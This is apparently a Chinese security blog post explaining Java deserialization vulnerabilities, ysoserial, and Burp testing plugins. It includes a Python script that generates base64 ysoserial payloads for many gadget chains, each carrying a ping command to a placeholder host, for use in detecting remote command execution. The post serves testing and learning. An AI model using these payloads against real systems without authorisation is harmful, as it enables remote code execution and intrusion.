Java反序列化
背景
Java反序列化漏洞最早是2015年年初AppSecCali会议上提出了漏洞利用思路,在2015年11月FoxGlove Security 安全团队才真实利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的,这个漏洞直接 可以攻击WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,在当时被称为是”2015年最被低估的漏洞”。
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有 力的数据结构类型并且实现了各种集合工具类。包括FileUpload、Betwixt、Commons Code、Commons Compress、 Commons CSV等开源工具(下面是JAVA COLLECTION 的介绍)。
Java Collection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
JAVACOLLECION是java的集合类,用于存储对象,而且长度可变,可存储不同类型的对象。JAVACOLLECTION不同的容器对数据 的存储方式不同,即数据结构不同。JAVA集合的体系框架:
collection(接口,最基本的集合)实现接口的类,集合类:
set
HashSet/TreeSet...
list
ArrayList/LinkedList...
map
vector
|
Java反序列化概念
在Java程序中,序列化是程序将对象转换为字节数组,反序列化即为逆过程,将客户端的字节数据转换成对象。 序列化的目的是将对象转换为可存储或传输的字节数组,实现持久化存储。
实际开发代码(部分):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
public class RedisObjectSerializer implements RedisSerializer<Object> { private Converter<Object, byte[]> serializer = new SerializingConverter(); private Converter<byte[], Object> deserializer = new DeserializingConverter(); static final byte[] EMPTY_ARRAY = new byte[0]; public Object deserialize(byte[] bytes) { if (isEmpty(bytes)) { return null; } try { return deserializer.convert(bytes); } catch (Exception ex) { throw new SerializationException("Cannot deserialize", ex); } } // 序列化方法 // 如果Bytes为空,返回null // 否则使用serializer.convert(bytes)为Object public byte[] serialize(Object object) { if (object == null) { return EMPTY_ARRAY; } try { return serializer.convert(object); } catch (Exception ex) { return EMPTY_ARRAY; } } //判断字节数组是否为空 //@param data //@return private boolean isEmpty(byte[] data) { return (data == null || data.length == 0); } }
|
Java反序列化漏洞原理
1 2 3 4
|
间接或直接暴露反序列化API,导致用户操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。特点: 1.aced0005是java序列化内容的特征,如果经过base64编码,那么相对应的是rO0AB。 2.数据包中出现"sr类名" 3.某些反序列化数据的content-type为application/x-serialization
|
如何检测Java反序列化
测试脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
|
import os import base64 payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2'] def generate(name, cmd): for payload in payloads: final = cmd.replace('REPLACE', payload) print 'Generating ' + payload + ' for ' + name + '...' command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') result = command.read() command.close() encoded = base64.b64encode(result) if encoded != "": open(name + '_intruder.txt', 'a').write(encoded + '\n') generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
将脚本生成的文件加载至Burpsuit进行Intruder,服务器端执行tcpdump icmp查看是否有命令执行成功。
测试工具
ysoserial 是反序列化生成payload的工具。
Java-Deserialization-Scanner Burpsuit 插件(Burp Pro 插件商店可直接安装),识别流量,主动被动探测。
https://www.ol4three.com/2020/09/12/WEB/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/freddy Burpsuit 插件(Burp Pro 插件商店可直接安装)。
ysoserial工具学习
java动态代理
1 2 3 4 5 6 7 8 9
|
代理委托类和代理类
静态代理和动态代理静态代理,委托类和代理类同时实现一个接口,两者通过聚合实现,代理类需要有一个委托类的引用。
动态代理是通过在委托类和代理类之间设置一个中介类,中介类实现InvokeHandler接口,作为调用处理器拦截对代理类方法 的调用.
静态代理和动态代理:
|
参考资料:
[Java Proxy和CGLIB 动态代理原理](Java Proxy 和 CGLIB 动态代理原理 https://www.ol4three.com/2020/09/12/WEB/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java动态代理)
Java 动态代理
Java反射机制
参考资料
深入解析Java反射(1)-基础
Jboss 反序列化漏洞利用实例
确定jboss应用
FROM :ol4three.com | Author:ol4three
评论